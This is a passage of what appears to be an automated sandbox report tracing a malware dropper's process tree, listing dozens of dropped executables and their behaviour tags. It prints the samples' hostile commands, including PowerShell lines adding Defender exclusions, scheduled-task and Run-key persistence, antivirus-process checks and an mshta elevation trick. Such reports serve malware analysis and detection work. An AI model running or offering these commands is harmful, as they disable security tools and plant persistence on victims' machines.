        5⤵
        
        PID:9468
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Za Za.bat & Za.bat
        6⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        
        PID:13256
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:13244
    - - C:\Users\Admin\Desktop\Files\kitty.exe
        
        "C:\Users\Admin\Desktop\Files\kitty.exe"
        5⤵
        
        PID:6388
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6388 -s 508
        6⤵
        Program crash
        
        PID:12776
    - - C:\Users\Admin\Desktop\Files\abc.exe
        
        "C:\Users\Admin\Desktop\Files\abc.exe"
        5⤵
        
        PID:11892
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3920
    - - C:\Users\Admin\Desktop\Files\xxl.exe
        
        "C:\Users\Admin\Desktop\Files\xxl.exe"
        5⤵
        Executes dropped EXE
        
        PID:4628
    - - C:\Users\Admin\Desktop\Files\svchost.exe
        
        "C:\Users\Admin\Desktop\Files\svchost.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3080
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5872
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1296
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5844
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6096
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:660
    - - C:\Users\Admin\Desktop\Files\html.exe
        
        "C:\Users\Admin\Desktop\Files\html.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:5784
      - C:\Program Files (x86)\Common Files\microsoft shared\ink\pipanel.exe
        
        "C:\Users\Admin\Desktop\Files\html.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5656
    - - C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe
        
        "C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:5840
      - C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe
        
        "C:\Users\Admin\Desktop\Files\Mr.Satan%20DDoS.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetWindowsHookEx
        
        PID:5836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        7⤵
        
        PID:4956
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:6100
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:3236
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f"
        7⤵
        
        PID:5980
        
        C:\Windows\system32\reg.exe
        
        reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /f
        8⤵
        Modifies registry key
        
        PID:4364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f"
        7⤵
        
        PID:3360
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v empyrean /t REG_SZ /d C:\Users\Admin\AppData\Roaming\empyrean\run.bat /f
        8⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:1920
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:1432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:5744
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:1292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Windows\System32\wbem\WMIC.exe csproduct get uuid"
        7⤵
        
        PID:1668
        
        C:\Windows\System32\wbem\WMIC.exe
        
        C:\Windows\System32\wbem\WMIC.exe csproduct get uuid
        8⤵
        
        PID:2764
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5436
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6008
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2352
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        7⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5872
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2164
    - - C:\Users\Admin\Desktop\Files\LummaC22222.exe
        
        "C:\Users\Admin\Desktop\Files\LummaC22222.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5956
    - - C:\Users\Admin\Desktop\Files\newtpp.exe
        
        "C:\Users\Admin\Desktop\Files\newtpp.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:5028
      - C:\Windows\sysnldcvmr.exe
        
        C:\Windows\sysnldcvmr.exe
        6⤵
        Executes dropped EXE
        
        PID:4668
    - - C:\Users\Admin\Desktop\Files\xt.exe
        
        "C:\Users\Admin\Desktop\Files\xt.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:6048
    - - C:\Users\Admin\Desktop\Files\xxz.exe
        
        "C:\Users\Admin\Desktop\Files\xxz.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        
        PID:936
    - - C:\Users\Admin\Desktop\Files\NorthSperm.exe
        
        "C:\Users\Admin\Desktop\Files\NorthSperm.exe"
        5⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:4568
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Surrey Surrey.cmd && Surrey.cmd && exit
        6⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:5208
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa.exe opssvc.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4296
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        
        PID:3752
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "avastui.exe avgui.exe bdservicehost.exe ekrn.exe nswscsvc.exe sophoshealth.exe"
        7⤵
        
        PID:5140
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 719580
        7⤵
        
        PID:4192
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "copehebrewinquireinnocent" Corpus
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4120
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Utilize + ..\Verzeichnis + ..\Built + ..\Vessels + ..\Cradle + ..\Jaguar + ..\Comics + ..\Flux + ..\Liberal f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5928
        
        C:\Users\Admin\AppData\Local\Temp\719580\Optimum.pif
        
        Optimum.pif f
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:3044
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        
        PID:5344
    - - C:\Users\Admin\Desktop\Files\GLP_installer_900223086_market.exe
        
        "C:\Users\Admin\Desktop\Files\GLP_installer_900223086_market.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Enumerates connected drives
        Writes to the Master Boot Record (MBR)
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6136
    - - C:\Users\Admin\Desktop\Files\si.exe
        
        "C:\Users\Admin\Desktop\Files\si.exe"
        5⤵
        Executes dropped EXE
        
        PID:6328
    - - C:\Users\Admin\Desktop\Files\freedom.exe
        
        "C:\Users\Admin\Desktop\Files\freedom.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious behavior: AddClipboardFormatListener
        
        PID:6840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\freedom.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6728
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'freedom.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2452
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Windows.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2632
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6716
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows" /tr "C:\Users\Admin\Windows.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6052
    - - C:\Users\Admin\Desktop\Files\hhnjqu9y.exe
        
        "C:\Users\Admin\Desktop\Files\hhnjqu9y.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:7444
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:6744
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6744 -s 480
        7⤵
        Program crash
        
        PID:7852
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell" Copy-Item 'C:\Users\Admin\Desktop\Files\hhnjqu9y.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ucloud.exe'
        6⤵
        
        PID:7380
    - - C:\Users\Admin\Desktop\Files\XClient.exe
        
        "C:\Users\Admin\Desktop\Files\XClient.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of SetWindowsHookEx
        
        PID:8188
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6964
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6248
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6232
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2344
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6940
    - - C:\Users\Admin\Desktop\Files\djksahjkdhkh.exe
        
        "C:\Users\Admin\Desktop\Files\djksahjkdhkh.exe"
        5⤵
        
        PID:6192
    - - C:\Users\Admin\Desktop\Files\tt.exe
        
        "C:\Users\Admin\Desktop\Files\tt.exe"
        5⤵
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6208
      - C:\Windows\sysmablsvr.exe
        
        C:\Windows\sysmablsvr.exe
        6⤵
        Modifies security service
        Windows security bypass
        Windows security modification
        Suspicious behavior: SetClipboardViewer
        
        PID:8116
        
        C:\Users\Admin\AppData\Local\Temp\1743213699.exe
        
        C:\Users\Admin\AppData\Local\Temp\1743213699.exe
        7⤵
        
        PID:6240
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        8⤵
        
        PID:9724
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
        9⤵
        
        PID:9000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
        8⤵
        
        PID:5412
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /f /tn "Windows Upgrade Manager"
        9⤵
        
        PID:10724
        
        C:\Users\Admin\AppData\Local\Temp\416019047.exe
        
        C:\Users\Admin\AppData\Local\Temp\416019047.exe
        7⤵
        
        PID:10780
        
        C:\Users\Admin\AppData\Local\Temp\2003617913.exe
        
        C:\Users\Admin\AppData\Local\Temp\2003617913.exe
        7⤵
        
        PID:10536
        
        C:\Users\Admin\AppData\Local\Temp\3319517853.exe
        
        C:\Users\Admin\AppData\Local\Temp\3319517853.exe
        7⤵
        
        PID:10644
    - - C:\Users\Admin\Desktop\Files\Discord3.exe
        
        "C:\Users\Admin\Desktop\Files\Discord3.exe"
        5⤵
        
        PID:6780
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"' & exit
        6⤵
        
        PID:4364
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Discord" /tr '"C:\Users\Admin\AppData\Roaming\Discord.exe"'
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6956
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD91F.tmp.bat""
        6⤵
        
        PID:7000
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout 3
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:7128
        
        C:\Users\Admin\AppData\Roaming\Discord.exe
        
        "C:\Users\Admin\AppData\Roaming\Discord.exe"
        7⤵
        
        PID:7912
    - - C:\Users\Admin\Desktop\Files\av_downloader.exe
        
        "C:\Users\Admin\Desktop\Files\av_downloader.exe"
        5⤵
        
        PID:7036
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\24A0.tmp\24A1.tmp\24A2.bat C:\Users\Admin\Desktop\Files\av_downloader.exe"
        6⤵
        
        PID:8084
        
        C:\Windows\system32\mshta.exe
        
        mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
        7⤵
        Access Token Manipulation: Create Process with Token
        
        PID:6348
        
        C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE
        
        "C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE" goto :target
        8⤵
        
        PID:7944
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3113.tmp\3114.tmp\3115.bat C:\Users\Admin\Desktop\Files\AV_DOW~1.EXE goto :target"
        9⤵
        
        PID:3016
    - - C:\Users\Admin\Desktop\Files\x.exe
        
        "C:\Users\Admin\Desktop\Files\x.exe"
        5⤵
        
        PID:6364
    - - C:\Users\Admin\Desktop\Files\Authenticator.exe
        
        "C:\Users\Admin\Desktop\Files\Authenticator.exe"
        5⤵
        
        PID:912
    - - C:\Users\Admin\Desktop\Files\cclent.exe
        
        "C:\Users\Admin\Desktop\Files\cclent.exe"
        5⤵
        
        PID:9796
      - C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "vchost32" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9960
    - - C:\Users\Admin\Desktop\Files\qth5kdee.exe
        
        "C:\Users\Admin\Desktop\Files\qth5kdee.exe"
        5⤵
        
        PID:10156
    - - C:\Users\Admin\Desktop\Files\r.exe
        
        "C:\Users\Admin\Desktop\Files\r.exe"
        5⤵
        
        PID:8296
    - - C:\Users\Admin\Desktop\Files\kill.exe
        
        "C:\Users\Admin\Desktop\Files\kill.exe"
        5⤵
        
        PID:7380
      - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        6⤵
        
        PID:9464
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9464 -s 1284
        7⤵
        Program crash
        
        PID:10860
    - - C:\Users\Admin\Desktop\Files\p.exe
        
        "C:\Users\Admin\Desktop\Files\p.exe"
        5⤵
        
        PID:7496
    - - C:\Users\Admin\Desktop\Files\crypted.exe
        
        "C:\Users\Admin\Desktop\Files\crypted.exe"
        5⤵
        
        PID:8132
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:10988
    - - C:\Users\Admin\Desktop\Files\ZinTask.exe
        
        "C:\Users\Admin\Desktop\Files\ZinTask.exe"
        5⤵
        
        PID:8724
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8724 -s 244
        6⤵
        Program crash
        
        PID:10768
    - - C:\Users\Admin\Desktop\Files\hashed.exe
        
        "C:\Users\Admin\Desktop\Files\hashed.exe"
        5⤵
        
        PID:6160
    - - C:\Users\Admin\Desktop\Files\op.exe
        
        "C:\Users\Admin\Desktop\Files\op.exe"
        5⤵
        
        PID:11624
      - C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\installer.exe
        
        .\installer.exe
        6⤵
        
        PID:11820
        
        C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe" C:\Users\Admin\AppData\Local\Temp\7zS86D8A946\GenericSetup.exe
        7⤵
        
        PID:13172
    - - C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe
        
        "C:\Users\Admin\Desktop\Files\Dtrade_v1.3.6.exe"
        5⤵
        
        PID:8360
    - - C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe
        
        "C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe"
        5⤵
        
        PID:12192
      - C:\Users\Admin\AppData\Local\Temp\is-SGF9J.tmp\tacticalagent-v2.8.0-windows-amd64.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SGF9J.tmp\tacticalagent-v2.8.0-windows-amd64.tmp" /SL5="$5069C,3652845,825344,C:\Users\Admin\Desktop\Files\tacticalagent-v2.8.0-windows-amd64.exe"
        6⤵
        
        PID:10468
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrpc
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:11960
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:10416
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrpc
        8⤵
        
        PID:12568
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrpc
        9⤵
        
        PID:8020
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c net stop tacticalagent
        7⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalagent
        8⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalagent
        9⤵
        
        PID:12064
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5728
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 2
        8⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:9692
        
        C:\Windows\SysWOW64\net.exe
        
        net stop tacticalrmm
        8⤵
        
        PID:7872
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop tacticalrmm
        9⤵
        
        PID:8696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c taskkill /F /IM tacticalrmm.exe
        7⤵
        
        PID:11112
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM tacticalrmm.exe
        8⤵
        Kills process with taskkill
        
        PID:9680
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c sc delete tacticalagent
        7⤵
        
        PID:10212
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete tacticalagent
        8⤵
        Launches sc.exe
        
        PID:5440
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c sc delete tacticalrpc
        7⤵
        
        PID:6552
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete tacticalrpc
        8⤵
        Launches sc.exe
        
        PID:11232
    - - C:\Users\Admin\Desktop\Files\Accounts.exe
        
        "C:\Users\Admin\Desktop\Files\Accounts.exe"
        5⤵
        
        PID:1916
    - - C:\Users\Admin\Desktop\Files\nuke.exe
        
        "C:\Users\Admin\Desktop\Files\nuke.exe"
        5⤵
        
        PID:7940
      - C:\Windows\system32\svchost.exe
        
        "C:\Windows\system32\svchost.exe"
        6⤵
        
        PID:13180
      - C:\Windows\system32\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe"
        6⤵
        
        PID:12772
      - C:\Windows\system32\audiodg.exe
        
        "C:\Windows\system32\audiodg.exe"
        6⤵
        
        PID:8004
    - - C:\Users\Admin\Desktop\Files\GTA_V.exe
        
        "C:\Users\Admin\Desktop\Files\GTA_V.exe"
        5⤵
        
        PID:11648
      - C:\Users\Admin\AppData\Local\Temp\is-HU5MQ.tmp\GTA_V.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HU5MQ.tmp\GTA_V.tmp" /SL5="$16028A,18814322,1093120,C:\Users\Admin\Desktop\Files\GTA_V.exe"
        6⤵
        
        PID:10940
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /quiet /I "C:\Users\Admin\AppData\Local\Temp\is-RV1GB.tmp\AppleApplicationSupport.msi"
        7⤵
        
        PID:6668
    - - C:\Users\Admin\Desktop\Files\resex.exe
        
        "C:\Users\Admin\Desktop\Files\resex.exe"
        5⤵
        
        PID:3820
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k move Cover Cover.bat & Cover.bat & exit
        6⤵
        
        PID:9684
    - - C:\Users\Admin\Desktop\Files\wefhrf.exe
        
        "C:\Users\Admin\Desktop\Files\wefhrf.exe"
        5⤵
        
        PID:12608
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\wefhrf.exe'; Add-MpPreference -ExclusionProcess 'wefhrf'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6136
    - - C:\Users\Admin\Desktop\Files\robotic.exe
        
        "C:\Users\Admin\Desktop\Files\robotic.exe"
        5⤵
        
        PID:10960
    - - C:\Users\Admin\Desktop\Files\spoofer.exe
        
        "C:\Users\Admin\Desktop\Files\spoofer.exe"
        5⤵
        
        PID:11100
    - - C:\Users\Admin\Desktop\Files\HVNC1.exe
        
        "C:\Users\Admin\Desktop\Files\HVNC1.exe"
        5⤵
        
        PID:11720
    - - C:\Users\Admin\Desktop\Files\award.pdf.exe
        
        "C:\Users\Admin\Desktop\Files\award.pdf.exe"
        5⤵
        
        PID:11124
  - - C:\Users\Admin\Desktop\4363463463464363463463463.exe
      "C:\Users\Admin\Desktop\4363463463464363463463463.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4812
    - - C:\Users\Admin\Desktop\Files\pi.exe
        
        "C:\Users\Admin\Desktop\Files\pi.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5196
      - C:\Windows\sysppvrdnvs.exe
        
        C:\Windows\sysppvrdnvs.exe
        6⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        Suspicious behavior: SetClipboardViewer
        
        PID:5736
        
        C:\Windows\SysWOW64\cmd.exe
        
